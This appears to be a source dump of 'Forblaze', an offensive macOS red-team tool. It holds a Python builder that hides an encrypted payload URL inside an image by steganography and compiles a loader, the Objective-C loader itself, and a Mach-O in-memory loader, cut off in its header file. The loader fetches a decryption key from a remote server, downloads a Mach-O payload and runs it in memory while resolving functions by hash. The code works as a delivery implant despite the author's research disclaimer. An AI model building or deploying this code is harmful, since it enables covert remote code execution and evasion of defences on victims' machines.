the missions of both red and blue teams. 2 | 3 | #include 4 | #include 5 | #include 6 | #include "macho.h" 7 | 8 | #import 9 | 10 | //decrypt our bytes 11 | unsigned char* DecryptBytes(unsigned char* encrypted_bytes, unsigned char* key, int size_encrypted_bytes, int size_key) 12 | { 13 | //printf("Beginning Decryption...\n"); 14 | unsigned char* decrypted_code = malloc(size_encrypted_bytes); 15 | //decryption loop 16 | int integer; 17 | 18 | for (int i = 0; i < size_encrypted_bytes; i++) 19 | { 20 | //generic wait function 21 | // if (i % 2 == 0) 22 | // { 23 | // sleep(1); 24 | // } 25 | //determine the key byte 26 | 27 | if (size_key < i+1) 28 | { 29 | integer = encrypted_bytes[i] - key[i%size_key]; 30 | } 31 | 32 | else 33 | { 34 | integer = encrypted_bytes[i] - key[i]; 35 | } 36 | 37 | 38 | 39 | if (integer < 0) 40 | { 41 | integer = 256 + integer; 42 | } 43 | decrypted_code[i] = (unsigned char)integer; 44 | } 45 | 46 | //weird error where random bytes are added to the end of decrypted string - this while loop section will prevent it. 47 | 48 | int s = strlen(decrypted_code); 49 | 50 | while (s > size_encrypted_bytes) 51 | { 52 | // printf("%d is length decrypted, but %d is size it should be!\n", s, size_encrypted_bytes); 53 | // printf("Initiating another round...\n"); 54 | 55 | unsigned char* decrypted = malloc(size_encrypted_bytes); //maybe clean this up... 56 | decrypted = DecryptBytes(encrypted_bytes, key, size_encrypted_bytes, size_key); 57 | if (strlen(decrypted) == size_encrypted_bytes) 58 | { 59 | return decrypted; 60 | } 61 | break; 62 | 63 | } 64 | 65 | 66 | 67 | return decrypted_code; 68 | } 69 | 70 | //Find header byte offset 71 | int find_header(unsigned const char* buffer, int size_file) 72 | { 73 | //place header offset bytes here: 74 | int head_byte_offset; 75 | unsigned char header1[1] = { 0x59 }; 76 | unsigned char header2[1] = { 0x4e }; 77 | //Find the index of where encrypted byte stream begins 78 | for (int i =0; i< size_file; i++) 79 | { 80 | if (buffer[i] == header1[0]) 81 | { 82 | if (buffer[i+1] == header1[0]) 83 | { 84 | if (buffer[i+2] == header1[0]) 85 | { 86 | if (buffer[i+3] == header1[0]) 87 | { 88 | if (buffer[i+4] == header1[0]) 89 | { 90 | if (buffer[i+5] == header1[0]) 91 | { 92 | ////printf("%d is the beginning, and %02X is the byte\n", i, buffer[i]); 93 | head_byte_offset = i+6; 94 | 95 | } 96 | } 97 | } 98 | } 99 | } 100 | } 101 | 102 | if (buffer[i] == header2[0]) 103 | { 104 | if (buffer[i+1] == header2[0]) 105 | { 106 | if (buffer[i+2] == header2[0]) 107 | { 108 | if (buffer[i+3] == header2[0]) 109 | { 110 | if (buffer[i+4] == header2[0]) 111 | { 112 | if (buffer[i+5] == header2[0]) 113 | { 114 | ////printf("%d is the beginning, and %02X is the byte\n", i, buffer[i]); 115 | head_byte_offset = i+6; 116 | } 117 | } 118 | } 119 | } 120 | } 121 | } 122 | } 123 | return head_byte_offset; 124 | } 125 | 126 | //find last byte of offset 127 | int find_footer(unsigned const char* buffer, int size_file) 128 | { 129 | //place trail offset bytes here: 130 | int trail_byte_offset; 131 | unsigned char tail1[1] = { 0xab }; 132 | unsigned char tail2[1] = { 0x97 }; 133 | 134 | for (int i =0; i< size_file; i++) 135 | { 136 | //Find the index of where the byte stream ends 137 | if (buffer[i] == tail1[0]) 138 | { 139 | if (buffer[i+1] == tail1[0]) 140 | { 141 | if (buffer[i+2] == tail1[0]) 142 | { 143 | if (buffer[i+3] == tail1[0]) 144 | { 145 | if (buffer[i+4] == tail1[0]) 146 | { 147 | if (buffer[i+5] == tail1[0]) 148 | { 149 | ////printf("%d is the end, and %02X is the byte\n", i, buffer[i]); 150 | trail_byte_offset = i; 151 | } 152 | } 153 | } 154 | } 155 | } 156 | } 157 | 158 | if (buffer[i] == tail2[0]) 159 | { 160 | if (buffer[i+1] == tail2[0]) 161 | { 162 | if (buffer[i+2] == tail2[0]) 163 | { 164 | if (buffer[i+3] == tail2[0]) 165 | { 166 | if (buffer[i+4] == tail2[0]) 167 | { 168 | if (buffer[i+5] == tail2[0]) 169 | { 170 | ////printf("%d is the end, and %02X is the byte\n", i, buffer[i]); 171 | trail_byte_offset = i; 172 | } 173 | } 174 | } 175 | } 176 | } 177 | } 178 | 179 | } 180 | return trail_byte_offset; 181 | } 182 | 183 | int execution(unsigned char* decrypted_bytes) 184 | { 185 | ////printf("Beginning attack run\n"); 186 | NSString *stringURL = [NSString stringWithFormat:@"%s", decrypted_bytes]; 187 | 188 | NSURL *url = [NSURL URLWithString:stringURL]; 189 | //the error resides in the line below 190 | 191 | NSData *urlData = [NSData dataWithContentsOfURL:url]; 192 | 193 | ////printf("Dingleberry\n"); 194 | 195 | if ( urlData ) 196 | { 197 | //sleep(1); 198 | 199 | int size = urlData.length; 200 | ////printf("%d", size); 201 | 202 | 203 | const char* buffer = (const char*)[urlData bytes]; 204 | 205 | // Force type to MH_BUNDLE 206 | ((uint32_t *)buffer)[3] = 0x8; 207 | func_t funcs; 208 | printf("Validating online version information..."); //DO NOT COMMENT OUT OR REMOVE THIS - OR ELSE CODE WILL BREAK 209 | // Resolve the functions 210 | if (!macho_bootstrap(&funcs)) 211 | { 212 | //print("Couldn't find libdyld in memory\n"); 213 | exit(-1); 214 | } 215 | 216 | // Load the module 217 | void *module = macho_load(&funcs, (void *)buffer, size); 218 | 219 | if (!module) 220 | { 221 | //print("Couldn't load the module\n"); 222 | return 0; 223 | } 224 | 225 | //print("Module loaded!\n"); 226 | void (*f)() = macho_sym(&funcs, module, "_RunMain"); //might need to change this to reflect the export function of your dylib 227 | 228 | if (!f) 229 | { 230 | //print("Couldn't resolve the symbol\n"); 231 | return 0; 232 | } 233 | 234 | //print("All good, let's exec!\n"); 235 | 236 | // And we are done! 237 | f(); 238 | } 239 | 240 | return 0; 241 | } 242 | 243 | int main() 244 | { 245 | sleep(2); //added delay because it seems to produce more reliable execution 246 | //key here: 247 | NSString *stringURL = [NSString stringWithFormat:@"http://testdomain:8000/key2"]; 248 | 249 | NSURL *url = [NSURL URLWithString:stringURL]; 250 | //the error resides in the line below 251 | 252 | NSData *urlData = [NSData dataWithContentsOfURL:url]; 253 | //printf("Validating online version information..."); //DO NOT COMMENT OUT OR REMOVE THIS - OR ELSE CODE WILL BREAK 254 | ////printf("Dingleberry\n"); 255 | 256 | //Check for key 257 | if ( !urlData ) 258 | { 259 | //sleep(1); 260 | 261 | //int size = urlData.length; 262 | printf("Key does not exist!\n"); 263 | 264 | return -1; 265 | } 266 | 267 | printf("Successfully fetched key!\n"); 268 | 269 | int size_key = urlData.length; 270 | //printf("%d is the size of the key!\n", size_key); 271 | 272 | unsigned char* key = (unsigned char*)[urlData bytes]; 273 | 274 | 275 | //stego file location: 276 | NSString *file = [NSString stringWithFormat:@"/tmp/evil.jpeg"]; 277 | NSData* data0 = [NSData dataWithContentsOfFile:file options:NSDataReadingUncached error:NULL]; 278 | 279 | unsigned const char* buffer = (unsigned const char*)[data0 bytes]; 280 | ////printf("%d is the size of the file\n", data0.length); 281 | 282 | int size_file = data0.length; 283 | 284 | int head_byte_offset = find_header(buffer, size_file); 285 | int trail_byte_offset = find_footer(buffer, size_file); 286 | 287 | ////printf("%d is head byte position, %d is trail byte position\n", head_byte_offset, trail_byte_offset); 288 | int j = head_byte_offset; 289 | int size_encrypted_bytes = trail_byte_offset-head_byte_offset; 290 | unsigned char* encrypted_bytes = malloc(size_encrypted_bytes); //carve out as much memory as we need for our encrypted bytes based on offsets 291 | 292 | int count = 0; 293 | //carve out the encrypted bytes 294 | for (j; j < trail_byte_offset+1; j++) 295 | { 296 | 297 | encrypted_bytes[count] = buffer[j]; 298 | //printf("%02X", buffer[j]); 299 | count = count + 1; //use count to increase index for encrypted_bytes 300 | } 301 | 302 | unsigned char* decrypted = malloc(size_encrypted_bytes); 303 | decrypted = DecryptBytes(encrypted_bytes, key, size_encrypted_bytes, size_key); 304 | free(buffer); 305 | 306 | 307 | if (execution(decrypted)) 308 | { 309 | free(decrypted); 310 | free(encrypted_bytes); 311 | 312 | 313 | //printf("Finished up"); 314 | } 315 | else{ 316 | //printf("error"); 317 | exit(-1); 318 | } 319 | 320 | return 0; 321 | } 322 | 323 | 324 | -------------------------------------------------------------------------------- /forblaze_url.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #Written by AsaurusRex, DO NOT use this project for purposes other than legitimate red teaming/pentesting jobs, or research. DO NOT use this for illegal activity of any kind, and know that this project is intended for research purposes and to help advance the missions of both red and blue teams. 3 | import sys 4 | import secrets 5 | import argparse 6 | import subprocess 7 | import time 8 | 9 | #encryption piece 10 | def gen_key(length_of_key): 11 | key = secrets.token_bytes(length_of_key) #generate x random bytes 12 | bad_byte = False 13 | 14 | if b"\xff" or b"\x00" in key: #we need to move the bytes by at least 1 15 | bad_byte = True 16 | 17 | while(bad_byte == True): #make sure \xff is not in key, or it will shift byte back to itself 18 | key = secrets.token_bytes(length_of_key) #generate x random bytes 19 | bad_byte = False 20 | 21 | if b"\xff" in key: 22 | bad_byte = True 23 | 24 | hex_key = "" 25 | for i in range(len(key)): 26 | if len(hex(key[i])) == 3: 27 | byte = hex(key[i]) 28 | byte = byte.replace("0x", "\\x0") 29 | hex_key += byte 30 | else: 31 | 32 | hex_key += hex(key[i]) 33 | 34 | hex_key = hex_key.replace("0x", "\\x") 35 | 36 | 37 | #print("Successfully generated key: ", hex_key, "\n", key) 38 | 39 | #write key to disk 40 | with open('forblaze_key', 'wb') as f: 41 | f.write(key) 42 | 43 | return key, hex_key 44 | 45 | def encrypt_string(string, key): 46 | encrypted_bytes = b"" 47 | string_bytes = string.encode('utf-8') 48 | 49 | 50 | 51 | keylen = len(key) #number of bytes in the key 52 | 53 | for i in range(len(string_bytes)): 54 | if i < keylen: 55 | byte = string_bytes[i] #get a piece out of our list 56 | 57 | 58 | new_byte = byte + key[i] 59 | 60 | if new_byte > 255: #exists outside of hex range, so need to move it back into range 61 | new_byte = bytes([new_byte - 256]) 62 | encrypted_bytes += new_byte 63 | 64 | else: 65 | new_byte = bytes([new_byte]) 66 | encrypted_bytes += new_byte 67 | 68 | else: #we need to do modular arithmetic here to get a new index for the keylen that does not exceed its length 69 | index = i % keylen 70 | byte = string_bytes[i] 71 | 72 | new_byte = byte + key[index] 73 | 74 | if new_byte > 255: #exists outside of hex range, so need to move it back into range 75 | new_byte = bytes([new_byte - 256]) 76 | encrypted_bytes += new_byte 77 | 78 | else: 79 | new_byte = bytes([new_byte]) 80 | encrypted_bytes += new_byte 81 | 82 | #present the encrypted_bytes in a readable format 83 | hex_bytes = "" 84 | for i in range(len(encrypted_bytes)): 85 | if len(hex(encrypted_bytes[i])) == 3: 86 | byte = hex(encrypted_bytes[i]) 87 | byte = byte.replace("0x", "\\x0") 88 | hex_bytes += byte 89 | else: 90 | 91 | hex_bytes += hex(encrypted_bytes[i]) 92 | 93 | hex_bytes = hex_bytes.replace("0x", "\\x") 94 | 95 | #print(hex_bytes) 96 | 97 | return encrypted_bytes, hex_bytes 98 | 99 | def create_stego(innocent_path, encrypted_bytes, output): 100 | 101 | with open(innocent_path, 'rb') as f: 102 | innocent_content = f.read() #get bytes of innocent file 103 | 104 | random_int1 = secrets.randbelow(1000) #create random int below 100, and above 39. These will be padding bytes. 105 | 106 | random_bytes1 = secrets.token_bytes(random_int1) 107 | 108 | random_int2 = secrets.randbelow(1000) #create random int below 100, and above 39. These will be padding bytes. 109 | 110 | random_bytes2 = secrets.token_bytes(random_int2) 111 | 112 | 113 | header_bytes = b"\x59\x59\x59\x59\x59\x59" #bytes denoting the beginning of your desired bytes 114 | if header_bytes[0] == encrypted_bytes[0]: #make sure no overlap of encrypted and header bytes 115 | header_bytes = b"\x4e\x4e\x4e\x4e\x4e\x4e" 116 | 117 | trailing_bytes = b"\xab\xab\xab\xab\xab\xab" #bytes at the end of your desired bytes 118 | if trailing_bytes[0] == encrypted_bytes[-1]: #make sure no overlap of encrypted and trailing bytes 119 | trailing_bytes = b"\x97\x97\x97\x97\x97\x97" 120 | 121 | 122 | #craft the stego file 123 | manipulated_bytes = innocent_content + random_bytes1 + header_bytes + encrypted_bytes + trailing_bytes + random_bytes2 124 | 125 | total_size_file = len(manipulated_bytes) 126 | with open(output, 'wb') as out: 127 | out.write(manipulated_bytes) 128 | 129 | #just in case we need it later 130 | return total_size_file 131 | 132 | 133 | def assemble_m_file(compile_file, hex_key, stego_location, key_url): 134 | 135 | with open(compile_file, 'r+') as f: 136 | lines = f.readlines() 137 | 138 | for x in range(0, len(lines)): 139 | 140 | if compile_file == "compile_forblaze_method1.m" or compile_file == "compile_forblaze_method2.m": #check for compile file version, changes how key is fetched 141 | if "key here:" in lines[x]: 142 | lines[x+1] = "unsigned char* key = \"{}\";\n".format(hex_key) 143 | if "size_key here:" in lines[x]: 144 | lines[x+1] = "int size_key = {};\n".format(len(hex_key)/4) 145 | 146 | if compile_file == "compile_forblaze_method3.m": 147 | if "key here:" in lines[x]: 148 | lines[x+1] = "NSString *stringURL = [NSString stringWithFormat:@\"{}\"];\n".format(key_url) 149 | 150 | if "stego file location:" in lines[x]: 151 | lines[x+1] = "NSString *file = [NSString stringWithFormat:@\"{}\"];\n".format(stego_location) 152 | 153 | #can change the header offset bytes here 154 | if "place header offset bytes here:" in lines[x]: 155 | lines[x+2] = "unsigned char header1[1] = { 0x59 };\n" 156 | lines[x+3] = "unsigned char header2[1] = { 0x4e };\n" 157 | 158 | #can change trailing offset bytes here 159 | if "place trail offset bytes here:" in lines[x]: 160 | lines[x+2]= "unsigned char tail1[1] = { 0xab };\n" 161 | lines[x+3] = "unsigned char tail2[1] = { 0x97 };\n" 162 | 163 | with open(compile_file, 'w+') as f: 164 | f.writelines( lines ) 165 | f.close() 166 | return True 167 | 168 | def compile_forblaze(compile_file, compiled_binary_name): 169 | 170 | try: 171 | cmd = "clang -Wl -s -fmodules {0} macho.c -o {1}".format(compile_file, compiled_binary_name) 172 | stdout = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, close_fds=False) 173 | time.sleep(1) #give time for file to compile 174 | 175 | except ValueError: 176 | print("Error with compilation: ", ValueError) 177 | sys.exit() 178 | 179 | return True 180 | def main(innocent_path, output, compile_file, url, length_key, supplied_key, stego_location, compiled_binary_name, method, key_url): 181 | print("****Beginning Forblaze****") 182 | 183 | if supplied_key != "": 184 | 185 | print("Using supplied key {0} of length {1} bytes.".format(supplied_key, int(len(supplied_key)/4))) 186 | temp_key = supplied_key.replace('\\x', ' ') 187 | key_bytes = bytearray.fromhex(temp_key) 188 | 189 | #write key to disk 190 | with open('forblaze_key', 'wb') as f: 191 | f.write(key_bytes) 192 | 193 | #print(key_bytes, len(key_bytes)) 194 | print("Encrypting bytes...") 195 | encrypted_bytes, hex_bytes = encrypt_string(url, key_bytes) 196 | print("Successfully encrypted bytes, your encrypted {0} bytes are: {1}".format(len(encrypted_bytes), hex_bytes)) 197 | 198 | print("Placing encrypted bytes inside {}...".format(innocent_path)) 199 | size_file = create_stego(innocent_path, encrypted_bytes, output) 200 | 201 | print("Editing {}...".format(compile_file)) 202 | value = assemble_m_file(compile_file, supplied_key, stego_location, key_url) 203 | 204 | print("Compiling {}...".format(compiled_binary_name)) 205 | 206 | value = compile_forblaze(compile_file, compiled_binary_name) 207 | if value == True: 208 | print("******Forblaze successful. Check {0} for the stego file, forblaze_key for your key file (only relevent if using Method 3), and {1} for the compiled binary!*******".format(output, compiled_binary_name)) 209 | 210 | 211 | else: 212 | print("No supplied key, generating key...") 213 | key_bytes, hex_key = gen_key(length_key) 214 | print("Successfully generated key of length {0} bytes, {1}".format(length_key, hex_key)) 215 | 216 | print("Encrypting bytes...") 217 | encrypted_bytes, hex_bytes = encrypt_string(url, key_bytes) 218 | print("Successfully encrypted bytes, your encrypted {0} bytes are: {1}".format(len(encrypted_bytes), hex_bytes)) 219 | 220 | print("Placing encrypted bytes inside {}...".format(innocent_path)) 221 | size_file = create_stego(innocent_path, encrypted_bytes, output) 222 | 223 | print("Editing {}...".format(compile_file)) 224 | value = assemble_m_file(compile_file, hex_key, stego_location, key_url) 225 | 226 | 227 | print("Compiling {}...".format(compiled_binary_name)) 228 | 229 | value = compile_forblaze(compile_file, compiled_binary_name) 230 | if value == True: 231 | print("******Forblaze successful. Check {0} for the stego file, forblaze_key for your key file (only relevent if using Method 3), and {1} for the compiled binary!*******".format(output, compiled_binary_name)) 232 | 233 | if __name__ == '__main__': 234 | parser = argparse.ArgumentParser(description="Generate stego for implants.") 235 | parser.add_argument('-innocent_path', action='store', dest="path", default="", help="Provide the full path to the innocent file to be used.") 236 | parser.add_argument('-o', action='store', dest="output", default="stego_file", help="Provide the path where you want your stego file to be placed.") 237 | parser.add_argument('-len_key', action='store', dest="length_of_key", default=16, help="Provide a positive integer that will be the length of the key in bytes. Default is 16. Must be between 10 and 50 bytes.") 238 | #parser.add_argument('-compile_file', action='store', dest="compile_file", default="compile_forblaze.m", help="Provide the path to the C++ file you want to edit.") 239 | parser.add_argument('-url_to_encrypt', action='store', dest="url", default="", help="Provide the URL you want to stick inside the compile file.") 240 | parser.add_argument('-supply_key', action='store', dest="supplied_key", default="", help="If you wish to use a specific key, provide it here. It must be in the format: -supply_key \"\\\\x6e\\\\x60\\\\x...\" - aka two double slashes are needed between each byte, or else it WILL NOT WORK.") 241 | parser.add_argument('-stego_location', action='store', dest="stego_location", default="", help="You must provide a location on target where the stego file will reside. It is wise to follow strict full paths: /Users/<>/Documents/file.jpg for example.") 242 | parser.add_argument('-compiled_binary', action='store', dest="compiled_binary", default="forblaze", help="Give the name of the compiled binary to extract the URL and run code in memory from the stego file. The default is forblaze.") 243 | parser.add_argument('-method', action='store', dest="method", default=1, help="Select which method you wish to use. Method 1 relies on executing a dylib directly into memory, and works with Go payloads as well as regular payloads. Method 2 relies on executing a macho file directly into memory, but does not work with Go compiled payloads. Method 3 is method 1 but relies on fetchting the decrypting key over a server, which is more opsec friendly. The default method is 1. NOTE: You still might need to edit the 'module' (aka RunMain) manually depending on your execution method!") 244 | parser.add_argument('-key_url', action='store', dest="key_url", default="", help="Provide the URL to the key to decrypt the stego file.") 245 | 246 | args = parser.parse_args() 247 | 248 | 249 | if str(args.path) == "": 250 | print("You have not supplied an innocent file to use for stego! Please provide something such as: -innocent_path innocent.jpg") 251 | parser.print_help() 252 | sys.exit() 253 | 254 | if int(args.length_of_key) < 0: 255 | print("You cannot supply a negative key length, choose a positive integer. The default is 16.") 256 | parser.print_help() 257 | sys.exit() 258 | 259 | 260 | elif int(args.length_of_key) < 10 or int(args.length_of_key) > 50: 261 | print("You cannot supply a key length less than 10 or greater than 50 bytes.") 262 | parser.print_help() 263 | sys.exit() 264 | 265 | if str(args.url) == "": 266 | print("You have not supplied a URL to embed in the stego file! Please provide something such as: -url_to_encrypt https://example.com/payload.file") 267 | parser.print_help() 268 | sys.exit() 269 | 270 | if str(args.stego_location) == "": 271 | print("You have not supplied a path where the stego file will live on target disk.") 272 | parser.print_help() 273 | sys.exit() 274 | 275 | if int(args.method) != 1 and int(args.method) !=2 and int(args.method) !=3: 276 | print("Currently only methods 1, 2, and 3 are available!") 277 | parser.print_help() 278 | sys.exit() 279 | 280 | elif int(args.method) == 1: 281 | compile_file = "compile_forblaze_method1.m" 282 | print("Compile file selected is: {}".format(compile_file)) 283 | 284 | elif int(args.method) == 2: 285 | compile_file = "compile_forblaze_method2.m" 286 | print("Compile file selected is: {}".format(compile_file)) 287 | 288 | elif int(args.method) == 3: 289 | if args.key_url == "": 290 | print("You need to provide a url to the key to use to decrypt the stego file!") 291 | sys.exit() 292 | 293 | compile_file = "compile_forblaze_method3.m" 294 | print("Compile file selected is: {}".format(compile_file)) 295 | 296 | main(str(args.path), str(args.output), str(compile_file), str(args.url), int(args.length_of_key), str(args.supplied_key), str(args.stego_location), str(args.compiled_binary), int (args.method), str(args.key_url)) 297 | -------------------------------------------------------------------------------- /macho.c: -------------------------------------------------------------------------------- 1 | //Based on Maisal Loader 2 | 3 | #if defined(NAKED) 4 | #include 5 | #else 6 | #include 7 | #include 8 | #include 9 | #include 10 | //#include 11 | //#include 12 | #endif 13 | 14 | #include "macho.h" 15 | 16 | int string_len(const char *s1) 17 | { 18 | const char *s2 = s1; 19 | while (*s2 != '\0') 20 | { 21 | s2++; 22 | } 23 | return (s2 - s1); 24 | } 25 | /* 26 | void print(char *str) 27 | { 28 | long write = 0x2000004; 29 | long stdout = 1; 30 | unsigned long len = string_len(str); 31 | unsigned long long addr = (unsigned long long)str; 32 | unsigned long ret = 0; */ 33 | /* ret = write(stdout, str, len); */ 34 | /* __asm__( 35 | "movq %1, %%rax;\n" 36 | "movq %2, %%rdi;\n" 37 | "movq %3, %%rsi;\n" 38 | "movq %4, %%rdx;\n" 39 | "syscall;\n" 40 | "movq %%rax, %0;\n" 41 | : "=g"(ret) 42 | : "g"(write), "g"(stdout), "S"(addr), "g"(len) 43 | : "rax", "rdi", "rdx"); 44 | } 45 | */ 46 | 47 | // DJB's string hash 48 | static uint32_t hash_djb(char *str) 49 | { 50 | int c; 51 | uint32_t hash = 5381; 52 | 53 | while ((c = *str++)) 54 | hash = ((hash << 5) + hash) + c; // hash * 33 + c 55 | 56 | return hash; 57 | } 58 | 59 | static int macho_parse(mach_header_t *mh, func_t *funcs) 60 | { 61 | int x, y; 62 | 63 | segment_command_t *seg; 64 | segment_command_t *seg_linkedit; 65 | segment_command_t *seg_text; 66 | symtab_command_t *sym; 67 | dylib_command_t *dlb; 68 | 69 | nlist_t *nls; 70 | char *strtab; 71 | 72 | // Sometimes, we can find our own image in memory, so unless we see a LC_ID_DYLIB 73 | // that matches our needed string, treat this as a failure 74 | int ret = 0; 75 | 76 | load_command_t *cmd = (load_command_t *)&mh[1]; 77 | 78 | for (x = 0; x < mh->ncmds; x++) 79 | { 80 | switch (cmd->cmd) 81 | { 82 | case LC_SEGMENT_64: 83 | case LC_SEGMENT: 84 | seg = (segment_command_t *)cmd; 85 | 86 | // __LINKEDIT 87 | if (hash_djb(seg->segname) == 0xc214bfb7) 88 | seg_linkedit = seg; 89 | 90 | // __TEXT 91 | if (hash_djb(seg->segname) == 0xec5f7168) 92 | seg_text = seg; 93 | 94 | break; 95 | 96 | case LC_ID_DYLIB: 97 | dlb = (dylib_command_t *)cmd; 98 | char *name = (char *)cmd + dlb->dylib.name.offset; 99 | 100 | // Is this the lib: /usr/lib/system/libdyld.dylib? 101 | if (hash_djb(name) == 0x8d3fccfd) 102 | ret = 1; 103 | 104 | break; 105 | 106 | case LC_SYMTAB: 107 | sym = (symtab_command_t *)cmd; 108 | 109 | // Determine symbol and string table offsets 110 | // http://lists.llvm.org/pipermail/lldb-commits/Week-of-Mon-20150608/019449.html 111 | strtab = (char *)mh + seg_linkedit->vmaddr + sym->stroff - seg_linkedit->fileoff - seg_text->vmaddr; 112 | nls = (nlist_t *)((char *)mh + seg_linkedit->vmaddr + sym->symoff - seg_linkedit->fileoff - seg_text->vmaddr); 113 | 114 | for (y = 0; y < sym->nsyms; y++) 115 | { 116 | char *sym_name = &strtab[nls[y].n_un.n_strx]; 117 | size_t sym_val = (size_t)((char *)mh + nls[y].n_value - seg_text->vmaddr); 118 | uint32_t hash = hash_djb(sym_name); 119 | 120 | switch (hash) 121 | { 122 | case 0x64c5cea0: 123 | funcs->NSCreateObjectFileImageFromMemory = (ptr_NSCreateObjectFileImageFromMemory)sym_val; 124 | break; 125 | 126 | case 0x6f320e79: 127 | funcs->NSLinkModule = (ptr_NSLinkModule)sym_val; 128 | break; 129 | 130 | case 0x515bc152: 131 | funcs->NSLookupSymbolInModule = (ptr_NSLookupSymbolInModule)sym_val; 132 | break; 133 | 134 | case 0xf4da6396: 135 | funcs->NSAddressOfSymbol = (ptr_NSAddressOfSymbol)sym_val; 136 | break; 137 | } 138 | } 139 | break; 140 | } 141 | 142 | cmd = (load_command_t *)((char *)cmd + cmd->cmdsize); 143 | } 144 | 145 | // We found libdyld.lib, and we are done 146 | return ret; 147 | } 148 | /* 149 | static uint64_t syscall_chmod(uint64_t path, long mode) 150 | { 151 | uint64_t chmod_no = 0x200000f; 152 | uint64_t ret = 0; 153 | __asm__( 154 | "movq %1, %%rax;\n" 155 | "movq %2, %%rdi;\n" 156 | "movq %3, %%rsi;\n" 157 | "syscall;\n" 158 | "movq %%rax, %0;\n" 159 | : "=g"(ret) 160 | : "g"(chmod_no), "S"(path), "g"(mode) 161 | :); 162 | return ret; 163 | } 164 | */ 165 | static int is_ptr_valid(size_t ptr) 166 | { 167 | static int fd = 0; 168 | // A dummy file descriptor for testing if a pointer is valid 169 | if (!fd) 170 | { 171 | #if defined(NAKED) 172 | fd = open("/dev/random", O_WRONLY, 0); 173 | #else 174 | fd = open("/dev/random", O_WRONLY); 175 | #endif 176 | } 177 | 178 | //unsigned long ret = syscall_chmod(ptr, 0777); 179 | /*char mode[] = "0777"; 180 | unsigned long i; 181 | char * var; 182 | i = strtoul(mode, &var, 10);*/ 183 | //printf("i is %lu", i); 184 | unsigned long ret = chmod(ptr, 0777); 185 | //fprintf(stderr, "error in chmod - %d\n",errno); -> USEFUL FOR DEBUGGING 186 | if (errno== 0x2) 187 | { 188 | return 1; 189 | } 190 | //if (write(fd, (void *)ptr, sizeof(size_t)) == sizeof(size_t)) 191 | //{ 192 | // return 1; 193 | //} 194 | 195 | return 0; 196 | } 197 | 198 | static int is_macho(size_t ptr) 199 | { 200 | mach_header_t *mh = (mach_header_t *)ptr; 201 | 202 | // Is this a valid mach-o dylib file? 203 | if (mh->magic == MACHO_MAGIC && mh->filetype == MH_DYLIB && mh->cputype == CPU_TYPE) 204 | return 1; 205 | 206 | return 0; 207 | } 208 | 209 | int macho_bootstrap(func_t *funcs) 210 | { 211 | int x, y; 212 | 213 | // We need a pointer anywhere onto the stack 214 | char *s = __builtin_alloca(0); 215 | // Let's find the very top of the stack 216 | while (is_ptr_valid((size_t)s + 1)) 217 | s++; 218 | 219 | for (x = 0; x < 10000; x++) 220 | { 221 | // Walk down the stack, one byte at a time 222 | size_t *ptr = (size_t *)(s - x); 223 | 224 | // Do we have a valid pointer? 225 | if (!is_ptr_valid((size_t)ptr) || !is_ptr_valid(*ptr)) 226 | continue; 227 | 228 | // Page-align the pointer 229 | size_t addr = *ptr & ~(PAGE_SIZE - 1); 230 | 231 | // Walk backwards one page at a time and try to find the beginning 232 | // of a mach-o file 233 | for (y = 0; y < 100; y++) 234 | { 235 | if (is_ptr_valid(addr) && is_macho(addr) && macho_parse((void *)addr, funcs)) 236 | return 1; 237 | 238 | addr -= PAGE_SIZE; 239 | } 240 | } 241 | 242 | return 0; 243 | } 244 | 245 | void *macho_load(func_t *funcs, void *data, int size) 246 | { 247 | void *image; 248 | 249 | if (size < 1) 250 | { 251 | printf("Size is not positive ...\n"); 252 | return NULL; 253 | } 254 | //printf("funcs is %04X, Size is %d, Data is %02X, image is %02X\n", funcs, size, data, &image); 255 | if (funcs->NSCreateObjectFileImageFromMemory(data, size, &image) != NSObjectFileImageSuccess) 256 | { 257 | if (funcs->NSCreateObjectFileImageFromMemory(data, size, &image) == NSObjectFileImageAccess) //THIS IS THE ERROR 258 | { 259 | printf("NSObjectFileImageAccess\n"); 260 | } 261 | if (funcs->NSCreateObjectFileImageFromMemory(data, size, &image) == NSObjectFileImageFailure) //THIS IS THE ERROR 262 | { 263 | printf("NSObjectFileImageFailure\n"); 264 | } 265 | if (funcs->NSCreateObjectFileImageFromMemory(data, size, &image) == NSObjectFileImageFormat) //THIS IS THE ERROR 266 | { 267 | printf("NSObjectFileImageFormat\n"); 268 | } 269 | if (funcs->NSCreateObjectFileImageFromMemory(data, size, &image) == NSObjectFileImageInappropriateFile) //THIS IS THE ERROR 270 | { 271 | printf("NSObjectFileImageInappropriateFile\n"); 272 | } 273 | if (funcs->NSCreateObjectFileImageFromMemory(data, size, &image) == NSObjectFileImageArch) //THIS IS THE ERROR 274 | { 275 | printf("NSObjectFileImageArch\n"); 276 | } 277 | 278 | 279 | return NULL; 280 | } 281 | 282 | printf("Calling NSLinkModule\n"); 283 | return funcs->NSLinkModule(image, "", NSLINKMODULE_OPTION_PRIVATE); 284 | } 285 | 286 | void *macho_sym(func_t *funcs, void *module, char *name) 287 | { 288 | void *symbol; 289 | 290 | if (!module) 291 | return NULL; 292 | 293 | symbol = funcs->NSLookupSymbolInModule(module, name); 294 | 295 | if (!symbol) 296 | { 297 | // printf("NSLookupSymbolInModule failed\n"); 298 | return NULL; 299 | } 300 | 301 | return funcs->NSAddressOfSymbol(symbol); 302 | } 303 | -------------------------------------------------------------------------------- /macho.h: -------------------------------------------------------------------------------- 1 | //Based on Maisal Loader 2 | 3 | #ifndef _MACHO_H_ 4 | #define _MACHO_H_ 5 | 6 | #if !defined(NAKED) 7 | #include 8 | #include 9 | #include 10 | 11 | #define PAGE_SIZE 0x1000 12 | #define ROUND_UP(v, s) ((v + s - 1) & -s) 13 | 14 | #if INTPTR_MAX == INT64_MAX 15 | #define BITS_64 16 | #else 17 | #define BITS_32 18 | #endif 19 | #else 20 | #if defined(ARCH_X86_64) 21 | #define BITS_64 22 | #elif defined(ARCH_I686) 23 | #define BITS_32 24 | #else 25 | #error("Are you a wizard?") 26 | #endif 27 | #endif 28 | 29 | #define CPU_ARCH_ABI64 0x01000000 /* 64 bit ABI */ 30 | #define CPU_TYPE_X86 7 31 | #define CPU_TYPE_X86_64 (CPU_TYPE_X86 | CPU_ARCH_ABI64) 32 | #define CPU_TYPE_ARM 12 33 | #define CPU_TYPE_ARM64 (CPU_TYPE_ARM | CPU_ARCH_ABI64) 34 | 35 | #define NSLINKMODULE_OPTION_PRIVATE 0x2 36 | #define 